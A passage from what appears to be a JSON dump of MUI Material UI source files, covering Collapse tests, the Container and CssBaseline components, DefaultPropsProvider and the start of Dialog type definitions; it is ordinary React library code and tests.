    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy, stub } from 'sinon';\nimport { act, createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport { Transition } from 'react-transition-group';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Collapse, { collapseClasses as classes } from '@mui/material/Collapse';\nimport describeConformance from '../../test/describeConformance';\n\nconst CustomCollapse = React.forwardRef(({ ownerState, ...props }, ref) => (\n  <div ref={ref} {...props} />\n));\nconst CustomWrapper = React.forwardRef(({ ownerState, ...props }, ref) => (\n  <div ref={ref} {...props} />\n));\nconst CustomWrapperInner = React.forwardRef(({ ownerState, ...props }, ref) => (\n  <div ref={ref} {...props} />\n));\n\ndescribe('<Collapse />', () => {\n  const { clock, render } = createRenderer();\n\n  const defaultProps = {\n    in: true,\n    children: <div />,\n  };\n\n  describeConformance(<Collapse {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: Transition,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiCollapse',\n    testVariantProps: { orientation: 'horizontal' },\n    testDeepOverrides: { slotName: 'wrapper', slotClassName: classes.wrapper },\n    slots: {\n      root: { expectedClassName: classes.root, testWithElement: CustomCollapse },\n      wrapper: { expectedClassName: classes.wrapper, testWithElement: CustomWrapper },\n      wrapperInner: {\n        expectedClassName: classes.wrapperInner,\n        testWithElement: CustomWrapperInner,\n      },\n    },\n  }));\n\n  it('should render a container around the wrapper', () => {\n    const { container } = render(\n      <Collapse {...defaultProps} classes={{ root: 'woofCollapse1' }} />,\n    );\n    const collapse = container.firstChild;\n    expect(collapse).to.have.tagName('div');\n    expect(collapse).to.have.class(classes.root);\n    expect(collapse).to.have.class('woofCollapse1');\n  });\n\n  it('should render a wrapper around the children', () => {\n    const children = <h1>Hello</h1>;\n    const { container } = render(<Collapse {...defaultProps}>{children}</Collapse>);\n    const collapse = container.firstChild;\n    const wrapper = collapse.firstChild;\n    const innerWrapper = wrapper.firstChild;\n    expect(wrapper).to.have.tagName('div');\n    expect(innerWrapper.firstChild).to.have.tagName('h1');\n  });\n\n  describe('transition lifecycle', () => {\n    clock.withFakeTimers();\n    let setProps;\n    let collapse;\n    let container;\n    let nodeEnterHeightStyle;\n    let nodeEnteringHeightStyle;\n    let nodeExitHeightStyle;\n\n    /* We needs to create wrappers here because the node is passed by reference\n       and it's style is overwritten by the later stages */\n    const handleEnter = spy();\n    const handleEnterWrapper = (...args) => {\n      handleEnter(...args);\n      nodeEnterHeightStyle = args[0].style.height;\n    };\n    const handleEntering = spy();\n    const handleEnteringWrapper = (...args) => {\n      handleEntering(...args);\n      nodeEnteringHeightStyle = args[0].style.height;\n    };\n    const handleEntered = spy();\n    const handleExit = spy();\n    const handleExitWrapper = (...args) => {\n      handleExit(...args);\n      nodeExitHeightStyle = args[0].style.height;\n    };\n    const handleExiting = spy();\n    const handleExited = spy();\n    const handleAddEndListener = spy();\n\n    beforeEach(() => {\n      // eslint-disable-next-line testing-library/no-render-in-lifecycle\n      ({ container, setProps } = render(\n        <Collapse\n          addEndListener={handleAddEndListener}\n          onEnter={handleEnterWrapper}\n          onEntering={handleEnteringWrapper}\n          onEntered={handleEntered}\n          onExit={handleExitWrapper}\n          onExiting={handleExiting}\n          onExited={handleExited}\n          timeout={300}\n        >\n          <div />\n        </Collapse>,\n      ));\n      collapse = container.firstChild;\n      stub(collapse.firstChild, 'clientHeight').get(() => 666);\n    });\n\n    it('should run in', () => {\n      setProps({ in: true });\n      expect(nodeEnterHeightStyle).to.equal('0px');\n      expect(handleEnter.args[0][0]).to.equal(collapse);\n      expect(handleEnter.args[0][1]).to.equal(false);\n      expect(nodeEnteringHeightStyle).to.equal('666px');\n      expect(handleEntering.callCount).to.equal(1);\n      expect(handleEntering.args[0][0]).to.equal(collapse);\n      expect(handleEntering.args[0][1]).to.equal(false);\n      expect(handleAddEndListener.callCount).to.equal(1);\n      expect(handleAddEndListener.args[0][0]).to.equal(collapse);\n      expect(typeof handleAddEndListener.args[0][1]).to.equal('function');\n      clock.tick(300);\n\n      expect(handleEntered.args[0][0].style.height).to.equal('auto');\n      expect(handleEntered.args[0][1]).to.equal(false);\n      expect(handleEntered.callCount).to.equal(1);\n    });\n\n    it('should run out', () => {\n      setProps({ in: true });\n      setProps({ in: false });\n\n      expect(nodeExitHeightStyle).to.equal('666px');\n      expect(handleExiting.args[0][0].style.height).to.equal('0px');\n      expect(handleExiting.callCount).to.equal(1);\n      expect(handleExiting.args[0][0]).to.equal(collapse);\n      clock.tick(300);\n\n      expect(handleExited.args[0][0].style.height).to.equal('0px');\n      clock.tick(300);\n\n      expect(handleExited.callCount).to.equal(1);\n      expect(handleExited.args[0][0]).to.equal(collapse);\n    });\n  });\n\n  describe('prop: timeout', () => {\n    clock.withFakeTimers();\n\n    it('should delay based on height when timeout is auto', () => {\n      const theme = createTheme({\n        transitions: {\n          getAutoHeightDuration: (n) => n,\n        },\n      });\n\n      const next1 = spy();\n      function Test(props) {\n        return (\n          <ThemeProvider theme={theme}>\n            <Collapse timeout=\"auto\" onEntered={next1} {...props}>\n              <div />\n            </Collapse>\n          </ThemeProvider>\n        );\n      }\n      const { setProps: setProps1, container: container1 } = render(<Test />);\n      const collapse = container1.firstChild;\n      // Gets wrapper\n      stub(collapse.firstChild, 'clientHeight').get(() => 10);\n\n      setProps1({\n        in: true,\n      });\n\n      const autoTransitionDuration = 10;\n      expect(next1.callCount).to.equal(0);\n      clock.tick(0);\n\n      expect(next1.callCount).to.equal(0);\n      clock.tick(autoTransitionDuration);\n\n      expect(next1.callCount).to.equal(1);\n\n      const next2 = spy();\n      const { setProps: setProps2 } = render(\n        <Collapse timeout=\"auto\" onEntered={next2}>\n          <div />\n        </Collapse>,\n      );\n      setProps2({ in: true });\n\n      expect(next2.callCount).to.equal(0);\n      clock.tick(0);\n\n      expect(next2.callCount).to.equal(1);\n    });\n\n    it('should use timeout as delay when timeout is number', () => {\n      const timeout = 10;\n      const next = spy();\n      const { setProps } = render(\n        <Collapse timeout={timeout} onEntered={next}>\n          <div />\n        </Collapse>,\n      );\n\n      setProps({ in: true });\n\n      expect(next.callCount).to.equal(0);\n      act(() => {\n        clock.tick(0);\n      });\n\n      expect(next.callCount).to.equal(0);\n      act(() => {\n        clock.tick(timeout);\n      });\n\n      expect(next.callCount).to.equal(1);\n    });\n\n    it('should create proper easeOut animation onEntering', () => {\n      const handleEntering = spy();\n\n      const { setProps } = render(\n        <Collapse\n          onEntering={handleEntering}\n          timeout={{\n            enter: 556,\n          }}\n        >\n          <div />\n        </Collapse>,\n      );\n\n      setProps({ in: true });\n      expect(handleEntering.args[0][0].style.transitionDuration).to.equal('556ms');\n    });\n\n    it('should create proper sharp animation onExiting', () => {\n      const handleExiting = spy();\n\n      const { setProps } = render(\n        <Collapse\n          {...defaultProps}\n          onExiting={handleExiting}\n          timeout={{\n            exit: 446,\n          }}\n        />,\n      );\n\n      setProps({\n        in: false,\n      });\n      expect(handleExiting.args[0][0].style.transitionDuration).to.equal('446ms');\n    });\n  });\n\n  describe('prop: collapsedSize', () => {\n    const collapsedSize = '10px';\n\n    it('should work when closed', () => {\n      const { container } = render(<Collapse {...defaultProps} collapsedSize={collapsedSize} />);\n      const collapse = container.firstChild;\n      expect(collapse.style.minHeight).to.equal(collapsedSize);\n    });\n\n    it('should be taken into account in handleExiting', () => {\n      const handleExiting = spy();\n      const { setProps } = render(\n        <Collapse {...defaultProps} collapsedSize={collapsedSize} onExiting={handleExiting} />,\n      );\n      setProps({ in: false });\n\n      expect(handleExiting.args[0][0].style.height).to.equal(collapsedSize);\n    });\n  });\n\n  // Test for https://github.com/mui/material-ui/issues/40653\n  it.skipIf(isJsdom())(\n    'should render correctly when external ownerState prop is passed',\n    function test() {\n      const { container } = render(\n        <Collapse in ownerState={{}}>\n          <div style={{ height: '100px' }} />\n        </Collapse>,\n      );\n      const collapse = container.firstChild;\n\n      expect(collapse).toHaveComputedStyle({\n        height: '100px',\n      });\n    },\n  );\n});\n"
  },
  {
    "path": "packages/mui-material/src/Collapse/collapseClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface CollapseClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element when the transition has entered. */\n  entered: string;\n  /** Styles applied to the root element when the transition has exited and `collapsedSize` = 0px. */\n  hidden: string;\n  /** Styles applied to the outer wrapper element. */\n  wrapper: string;\n  /** Styles applied to the inner wrapper element. */\n  wrapperInner: string;\n}\n\nexport type CollapseClassKey = keyof CollapseClasses;\n\nexport function getCollapseUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiCollapse', slot);\n}\n\nconst collapseClasses: CollapseClasses = generateUtilityClasses('MuiCollapse', [\n  'root',\n  'horizontal',\n  'vertical',\n  'entered',\n  'hidden',\n  'wrapper',\n  'wrapperInner',\n]);\n\nexport default collapseClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Collapse/index.d.ts",
    "content": "export { default } from './Collapse';\nexport * from './Collapse';\n\nexport { default as collapseClasses } from './collapseClasses';\nexport * from './collapseClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Collapse/index.js",
    "content": "export { default } from './Collapse';\n\nexport { default as collapseClasses } from './collapseClasses';\nexport * from './collapseClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Container/Container.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps, Breakpoint } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ContainerClasses } from './containerClasses';\n\nexport interface ContainerOwnProps {\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ContainerClasses> | undefined;\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * Set the max-width to match the min-width of the current breakpoint.\n   * This is useful if you'd prefer to design for a fixed set of sizes\n   * instead of trying to accommodate a fully fluid viewport.\n   * It's fluid by default.\n   * @default false\n   */\n  fixed?: boolean | undefined;\n  /**\n   * Determine the max-width of the container.\n   * The container width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'lg'\n   */\n  maxWidth?: Breakpoint | false | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ContainerTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & ContainerOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - [Container](https://next.mui.com/material-ui/react-container/)\n *\n * API:\n *\n * - [Container API](https://next.mui.com/material-ui/api/container/)\n */\ndeclare const Container: OverridableComponent<ContainerTypeMap>;\n\nexport type ContainerProps<\n  RootComponent extends React.ElementType = ContainerTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ContainerTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Container;\n"
  },
  {
    "path": "packages/mui-material/src/Container/Container.js",
    "content": "'use client';\nimport PropTypes from 'prop-types';\nimport { createContainer } from '@mui/system';\nimport capitalize from '../utils/capitalize';\nimport styled from '../styles/styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\nconst Container = createContainer({\n  createStyledComponent: styled('div', {\n    name: 'MuiContainer',\n    slot: 'Root',\n    overridesResolver: (props, styles) => {\n      const { ownerState } = props;\n\n      return [\n        styles.root,\n        styles[`maxWidth${capitalize(String(ownerState.maxWidth))}`],\n        ownerState.fixed && styles.fixed,\n        ownerState.disableGutters && styles.disableGutters,\n      ];\n    },\n  }),\n  useThemeProps: (inProps) => useDefaultProps({ props: inProps, name: 'MuiContainer' }),\n});\n\nContainer.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * Set the max-width to match the min-width of the current breakpoint.\n   * This is useful if you'd prefer to design for a fixed set of sizes\n   * instead of trying to accommodate a fully fluid viewport.\n   * It's fluid by default.\n   * @default false\n   */\n  fixed: PropTypes.bool,\n  /**\n   * Determine the max-width of the container.\n   * The container width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'lg'\n   */\n  maxWidth: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['xs', 'sm', 'md', 'lg', 'xl', false]),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Container;\n"
  },
  {
    "path": "packages/mui-material/src/Container/Container.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport Container, { containerClasses as classes } from '@mui/material/Container';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Container />', () => {\n  const { render } = createRenderer();\n\n  const defaultProps = {\n    children: <div />,\n  };\n\n  describeConformance(<Container {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLElement,\n    muiName: 'MuiContainer',\n    testVariantProps: { fixed: true },\n  }));\n\n  describe('prop: maxWidth', () => {\n    it('should support different maxWidth values', () => {\n      const { container: firstContainer } = render(<Container {...defaultProps} />);\n      expect(firstContainer.firstChild).to.have.class(classes.maxWidthLg);\n      const { container: secondsContainer } = render(\n        <Container {...defaultProps} maxWidth={false} />,\n      );\n      expect(secondsContainer.firstChild).not.to.have.class(classes.maxWidthLg);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Container/containerClasses.ts",
    "content": "import { ContainerClasses } from '@mui/system';\nimport generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport type { ContainerClassKey } from '@mui/system';\nexport type { ContainerClasses };\n\nexport function getContainerUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiContainer', slot);\n}\n\nconst containerClasses: ContainerClasses = generateUtilityClasses('MuiContainer', [\n  'root',\n  'disableGutters',\n  'fixed',\n  'maxWidthXs',\n  'maxWidthSm',\n  'maxWidthMd',\n  'maxWidthLg',\n  'maxWidthXl',\n]);\n\nexport default containerClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Container/index.d.ts",
    "content": "export { default } from './Container';\nexport * from './Container';\n\nexport { default as containerClasses } from './containerClasses';\nexport * from './containerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Container/index.js",
    "content": "export { default } from './Container';\n\nexport { default as containerClasses } from './containerClasses';\nexport * from './containerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/CssBaseline/CssBaseline.d.ts",
    "content": "import * as React from 'react';\nimport { StyledComponentProps } from '../styles';\n\nexport interface CssBaselineProps extends StyledComponentProps<never> {\n  /**\n   * You can wrap a node.\n   */\n  children?: React.ReactNode;\n  /**\n   * Enable `color-scheme` CSS property to use `theme.palette.mode`.\n   * For more details, check out https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\n   * For browser support, check out https://caniuse.com/?search=color-scheme\n   * @default false\n   */\n  enableColorScheme?: boolean | undefined;\n}\n\n/**\n * Kickstart an elegant, consistent, and simple baseline to build upon.\n *\n * Demos:\n *\n * - [CSS Baseline](https://next.mui.com/material-ui/react-css-baseline/)\n *\n * API:\n *\n * - [CssBaseline API](https://next.mui.com/material-ui/api/css-baseline/)\n */\nexport default function CssBaseline(props: CssBaselineProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/CssBaseline/CssBaseline.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { globalCss } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\n\n// to determine if the global styles are static or dynamic\nconst isDynamicSupport = typeof globalCss({}) === 'function';\n\nexport const html = (theme, enableColorScheme) => ({\n  WebkitFontSmoothing: 'antialiased', // Antialiasing.\n  MozOsxFontSmoothing: 'grayscale', // Antialiasing.\n  // Change from `box-sizing: content-box` so that `width`\n  // is not affected by `padding` or `border`.\n  boxSizing: 'border-box',\n  // Fix font resize problem in iOS\n  WebkitTextSizeAdjust: '100%',\n  // When used under CssVarsProvider, colorScheme should not be applied dynamically because it will generate the stylesheet twice for server-rendered applications.\n  ...(enableColorScheme && !theme.vars && { colorScheme: theme.palette.mode }),\n});\n\nexport const body = (theme) => ({\n  color: (theme.vars || theme).palette.text.primary,\n  ...theme.typography.body1,\n  backgroundColor: (theme.vars || theme).palette.background.default,\n  '@media print': {\n    // Save printer ink.\n    backgroundColor: (theme.vars || theme).palette.common.white,\n  },\n});\n\nexport const styles = (theme, enableColorScheme = false) => {\n  const colorSchemeStyles = {};\n  if (\n    enableColorScheme &&\n    theme.colorSchemes &&\n    typeof theme.getColorSchemeSelector === 'function'\n  ) {\n    Object.entries(theme.colorSchemes).forEach(([key, scheme]) => {\n      const selector = theme.getColorSchemeSelector(key);\n      if (selector.startsWith('@')) {\n        // for @media (prefers-color-scheme), we need to target :root\n        colorSchemeStyles[selector] = {\n          ':root': {\n            colorScheme: scheme.palette?.mode,\n          },\n        };\n      } else {\n        // else, it's likely that the selector already target an element with a class or data attribute\n        colorSchemeStyles[selector.replace(/\\s*&/, '')] = {\n          colorScheme: scheme.palette?.mode,\n        };\n      }\n    });\n  }\n  let defaultStyles = {\n    html: html(theme, enableColorScheme),\n    '*, *::before, *::after': {\n      boxSizing: 'inherit',\n    },\n    'strong, b': {\n      fontWeight: theme.typography.fontWeightBold,\n    },\n    body: {\n      margin: 0, // Remove the margin in all browsers.\n      ...body(theme),\n      // Add support for document.body.requestFullScreen().\n      // Other elements, if background transparent, are not supported.\n      '&::backdrop': {\n        backgroundColor: (theme.vars || theme).palette.background.default,\n      },\n    },\n    ...colorSchemeStyles,\n  };\n\n  const themeOverrides = theme.components?.MuiCssBaseline?.styleOverrides;\n  if (themeOverrides) {\n    defaultStyles = [defaultStyles, themeOverrides];\n  }\n\n  return defaultStyles;\n};\n\n// `ecs` stands for enableColorScheme. This is internal logic to make it work with Pigment CSS, so shorter is better.\nconst SELECTOR = 'mui-ecs';\nconst staticStyles = (theme) => {\n  const result = styles(theme, false);\n  const baseStyles = Array.isArray(result) ? result[0] : result;\n  if (!theme.vars && baseStyles) {\n    baseStyles.html[`:root:has(${SELECTOR})`] = { colorScheme: theme.palette.mode };\n  }\n  if (theme.colorSchemes) {\n    Object.entries(theme.colorSchemes).forEach(([key, scheme]) => {\n      const selector = theme.getColorSchemeSelector(key);\n      if (selector.startsWith('@')) {\n        // for @media (prefers-color-scheme), we need to target :root\n        baseStyles[selector] = {\n          [`:root:not(:has(.${SELECTOR}))`]: {\n            colorScheme: scheme.palette?.mode,\n          },\n        };\n      } else {\n        // else, it's likely that the selector already target an element with a class or data attribute\n        baseStyles[selector.replace(/\\s*&/, '')] = {\n          [`&:not(:has(.${SELECTOR}))`]: {\n            colorScheme: scheme.palette?.mode,\n          },\n        };\n      }\n    });\n  }\n  return result;\n};\n\nconst GlobalStyles = globalCss(\n  isDynamicSupport\n    ? ({ theme, enableColorScheme }) => styles(theme, enableColorScheme)\n    : ({ theme }) => staticStyles(theme),\n);\n\n/**\n * Kickstart an elegant, consistent, and simple baseline to build upon.\n */\nfunction CssBaseline(inProps) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiCssBaseline' });\n  const { children, enableColorScheme = false } = props;\n  return (\n    <React.Fragment>\n      {/* Emotion */}\n      {isDynamicSupport && <GlobalStyles enableColorScheme={enableColorScheme} />}\n\n      {/* Pigment CSS */}\n      {!isDynamicSupport && !enableColorScheme && (\n        <span className={SELECTOR} style={{ display: 'none' }} />\n      )}\n\n      {children}\n    </React.Fragment>\n  );\n}\n\nCssBaseline.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * You can wrap a node.\n   */\n  children: PropTypes.node,\n  /**\n   * Enable `color-scheme` CSS property to use `theme.palette.mode`.\n   * For more details, check out https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/color-scheme\n   * For browser support, check out https://caniuse.com/?search=color-scheme\n   * @default false\n   */\n  enableColorScheme: PropTypes.bool,\n};\n\nexport default CssBaseline;\n"
  },
  {
    "path": "packages/mui-material/src/CssBaseline/CssBaseline.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, isJsdom } from '@mui/internal-test-utils';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider, createTheme, hexToRgb } from '@mui/material/styles';\n\ndescribe('<CssBaseline />', () => {\n  const { render } = createRenderer();\n\n  it('renders its children', () => {\n    const { container } = render(\n      <CssBaseline>\n        <div id=\"child\" />\n      </CssBaseline>,\n    );\n\n    const child = container.querySelector('#child');\n\n    expect(child).to.have.tagName('div');\n  });\n\n  it.skipIf(isJsdom())('supports theme overrides as string', function test() {\n    const theme = createTheme({\n      components: { MuiCssBaseline: { styleOverrides: `strong { font-weight: 500; }` } },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <CssBaseline>\n          <strong id=\"child\" />\n        </CssBaseline>\n      </ThemeProvider>,\n    );\n\n    const child = container.querySelector('strong');\n\n    expect(child).toHaveComputedStyle({ fontWeight: '500' });\n  });\n\n  it.skipIf(isJsdom())('supports theme overrides as object', function test() {\n    const theme = createTheme({\n      components: { MuiCssBaseline: { styleOverrides: { strong: { fontWeight: '500' } } } },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <CssBaseline>\n          <strong id=\"child\" />\n        </CssBaseline>\n      </ThemeProvider>,\n    );\n\n    const child = container.querySelector('strong');\n\n    expect(child).toHaveComputedStyle({ fontWeight: '500' });\n  });\n\n  it.skipIf(isJsdom())('supports theme overrides as callback', function test() {\n    const theme = createTheme({\n      components: {\n        MuiCssBaseline: {\n          styleOverrides: (themeParam) => ({\n            strong: { color: themeParam.palette.primary.main },\n          }),\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <CssBaseline>\n          <strong id=\"child\" />\n        </CssBaseline>\n      </ThemeProvider>,\n    );\n\n    const child = container.querySelector('strong');\n\n    expect(child).toHaveComputedStyle({ color: hexToRgb(theme.palette.primary.main) });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/CssBaseline/index.d.ts",
    "content": "export { default } from './CssBaseline';\nexport * from './CssBaseline';\n"
  },
  {
    "path": "packages/mui-material/src/CssBaseline/index.js",
    "content": "export { default } from './CssBaseline';\n"
  },
  {
    "path": "packages/mui-material/src/DefaultPropsProvider/DefaultPropsProvider.spec.tsx",
    "content": "import DefaultPropsProvider from '@mui/material/DefaultPropsProvider';\n\nfunction CustomComponent() {\n  return null;\n}\n\n<DefaultPropsProvider\n  value={{\n    MuiSelect: {\n      IconComponent: CustomComponent,\n    },\n  }}\n/>;\n\n<DefaultPropsProvider\n  value={{\n    // @ts-expect-error\n    Random: {},\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/DefaultPropsProvider/DefaultPropsProvider.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport SystemDefaultPropsProvider, {\n  useDefaultProps as useSystemDefaultProps,\n} from '@mui/system/DefaultPropsProvider';\nimport type { ComponentsPropsList } from '../styles/props';\n\nfunction DefaultPropsProvider(\n  props: React.PropsWithChildren<{\n    value: { [P in keyof ComponentsPropsList]?: Partial<ComponentsPropsList[P]> };\n  }>,\n) {\n  return <SystemDefaultPropsProvider {...props} />;\n}\n\nDefaultPropsProvider.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * @ignore\n   */\n  value: PropTypes.object.isRequired,\n} as any;\n\nexport default DefaultPropsProvider;\n\nexport function useDefaultProps<Props extends Record<string, any>>(params: {\n  props: Props;\n  name: string;\n}) {\n  return useSystemDefaultProps(params) as Props;\n}\n"
  },
  {
    "path": "packages/mui-material/src/DefaultPropsProvider/index.ts",
    "content": "export { default, useDefaultProps } from './DefaultPropsProvider';\n"
  },
  {
    "path": "packages/mui-material/src/Dialog/Dialog.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps, Breakpoint } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { BackdropProps } from '../Backdrop';\nimport { PaperProps } from '../Paper';\nimport { ModalProps } from '../Modal';\nimport { TransitionProps } from '../transitions/transition';\nimport { DialogClasses } from './dialogClasses';\nimport { CreateSlotsAndSlotProps, SlotComponentProps, SlotProps } from '../utils/types';\n\nexport interface DialogSlots {\n  /**\n   * The component that renders the transition.\n   * [Follow this guide](/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Collapse\n   */\n  transition?: React.ElementType | undefined;\n  /**\n   * The component that renders the paper.\n   * @default Paper\n   */\n  paper?: React.ElementType | undefined;\n  /**\n   * The component that renders the container.\n   */\n  container?: React.ElementType | undefined;\n  /**\n   * The component that renders the backdrop.\n   */\n  backdrop?: React.ElementType | undefined;\n  /**\n   * The component that renders the root.\n   */\n  root?: React.ElementType | undefined;\n}\n\nexport interface DialogTransitionSlotPropsOverrides {}\nexport interface DialogPaperSlotPropsOverrides {}\nexport interface DialogContainerSlotPropsOverrides {}\nexport interface DialogBackdropSlotPropsOverrides {}\nexport interface DialogRootSlotPropsOverrides {}\n\nexport type DialogSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  DialogSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [Modal](https://mui.com/material-ui/api/modal/#props) component.\n     */\n    root: SlotProps<React.ElementType<ModalProps>, DialogRootSlotPropsOverrides, DialogOwnerState>;\n    /**\n     * Props forwarded to the backdrop slot.\n     * By default, the available props are based on the [Backdrop](https://mui.com/material-ui/api/backdrop/#props) component.\n     */\n    backdrop: SlotProps<\n      React.ElementType<BackdropProps>,\n      DialogBackdropSlotPropsOverrides,\n      DialogOwnerState\n    >;\n    /**\n     * Props forwarded to the container slot.\n     * By default, the available props are based on a div element.\n     */\n    container: SlotProps<'div', DialogContainerSlotPropsOverrides, DialogOwnerState>;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Fade](https://mui.com/material-ui/api/fade/#props) component.\n     */\n    transition: SlotComponentProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps & DialogTransitionSlotPropsOverrides,\n      DialogOwnerState\n    >;\n    /**\n     * Props forwarded to the paper slot.\n     * By default, the available props are based on the [Paper](https://mui.com/material-ui/api/paper/#props) component.\n     */\n    paper: SlotProps<\n      React.ElementType<PaperProps>,\n      DialogPaperSlotPropsOverrides,\n      DialogOwnerState\n    >;\n  }\n>;\n\nexport interface DialogProps\n  extends\n    Omit<StandardProps<ModalProps, 'children'>, 'slots' | 'slotProps'>,\n    DialogSlotsAndSlotProps {\n  /**\n   * The id(s) of the element(s) that describe the dialog.\n   */\n  'aria-describedby'?: string | undefined;\n  /**\n   * The id(s) of the element(s) that label the dialog.\n   */\n  'aria-labelledby'?: string | undefined;\n  /**\n   * Informs assistive technologies that the element is modal.\n   * It's added on the element with role=\"dialog\".\n   * @default true\n   */\n  'aria-modal'?: boolean | 'true' | 'false' | undefined;\n  /**\n   * Dialog children, usually the included sub-components.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<DialogClasses> | undefined;\n  /**\n   * If `true`, the dialog is full-screen.\n   * @default false\n   */\n  fullScreen?: boolean | undefined;\n  /**\n   * If `true`, the dialog stretches to `maxWidth`.\n   *\n   * Notice that the dialog width grow is limited by the default margin.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * Determine the max-width of the dialog.\n   * The dialog width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'sm'\n   */\n  maxWidth?: Breakpoint | false | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose?: ModalProps['onClose'] | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: ModalProps['open'];\n  /**\n   * The ARIA role for the dialog element.\n   * The main dialog role is `dialog`, but `alertdialog` can be used if the content of the dialog requires immediate attention.\n   * See 